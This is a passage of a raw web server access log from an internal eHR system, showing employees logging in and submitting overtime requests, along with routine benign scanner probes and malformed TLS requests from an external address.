/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.127 - - [29/Nov/2025:11:00:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.127 - - [29/Nov/2025:11:00:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.127 - - [29/Nov/2025:11:00:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.127 - - [29/Nov/2025:11:01:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 192.168.11.127 - - [29/Nov/2025:11:01:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:01:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 100.64.0.1 - - [29/Nov/2025:11:01:09 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [29/Nov/2025:11:01:09 +0800] "GET / HTTP/1.1" 200 439 192.168.11.127 - - [29/Nov/2025:11:01:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.127 - - [29/Nov/2025:11:01:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.127 - - [29/Nov/2025:11:01:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 192.168.11.127 - - [29/Nov/2025:11:01:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 192.168.11.127 - - [29/Nov/2025:11:01:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.127 - - [29/Nov/2025:11:01:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:01:37 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:37 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.127 - - [29/Nov/2025:11:01:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.127 - - [29/Nov/2025:11:01:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.127 - - [29/Nov/2025:11:01:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:01:53 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E5%8A%A0%E7%8F%AD%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.&target=iframe HTTP/1.1" 200 3114 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:53 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E5%8A%A0%E7%8F%AD%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.&target=iframe HTTP/1.1" 200 3114 192.168.11.127 - - [29/Nov/2025:11:01:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.127 - - [29/Nov/2025:11:01:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:01:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.144 - - [29/Nov/2025:11:19:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.144 - - [29/Nov/2025:11:19:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:19:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.144 - - [29/Nov/2025:11:19:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.144 - - [29/Nov/2025:11:20:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.144 - - [29/Nov/2025:11:20:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 192.168.11.144 - - [29/Nov/2025:11:20:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:20:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:20:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:20:26 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7274392918749194 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:26 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7274392918749194 HTTP/1.1" 200 8816 192.168.11.144 - - [29/Nov/2025:11:20:35 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7274392918749194 HTTP/1.1" 200 10983 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7274392918749194" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:35 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7274392918749194 HTTP/1.1" 200 10983 192.168.11.144 - - [29/Nov/2025:11:20:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.11.144 - - [29/Nov/2025:11:20:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:20:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.129 - - [29/Nov/2025:11:20:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.129 - - [29/Nov/2025:11:20:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.144 - - [29/Nov/2025:11:20:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:20:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.129 - - [29/Nov/2025:11:20:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.129 - - [29/Nov/2025:11:20:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 100.64.0.1 - - [29/Nov/2025:11:20:58 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [29/Nov/2025:11:20:58 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [29/Nov/2025:11:20:59 +0800] "HEAD / HTTP/1.1" 200 - "-" "Python/3.9 aiohttp/3.8.1" 100.64.0.1 - - [29/Nov/2025:11:20:59 +0800] "HEAD / HTTP/1.1" 200 - 100.64.0.1 - - [29/Nov/2025:11:20:59 +0800] "GET / HTTP/1.1" 200 439 "-" "Python/3.9 aiohttp/3.8.1" 100.64.0.1 - - [29/Nov/2025:11:20:59 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:11:20:59 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [29/Nov/2025:11:20:59 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [29/Nov/2025:11:21:00 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [29/Nov/2025:11:21:00 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 192.168.11.144 - - [29/Nov/2025:11:21:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6480760802940491 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6480760802940491 HTTP/1.1" 200 8816 192.168.11.129 - - [29/Nov/2025:11:21:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.129 - - [29/Nov/2025:11:21:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.129 - - [29/Nov/2025:11:21:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.129 - - [29/Nov/2025:11:21:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.129 - - [29/Nov/2025:11:21:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.129 - - [29/Nov/2025:11:21:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 192.168.11.144 - - [29/Nov/2025:11:21:13 +0800] 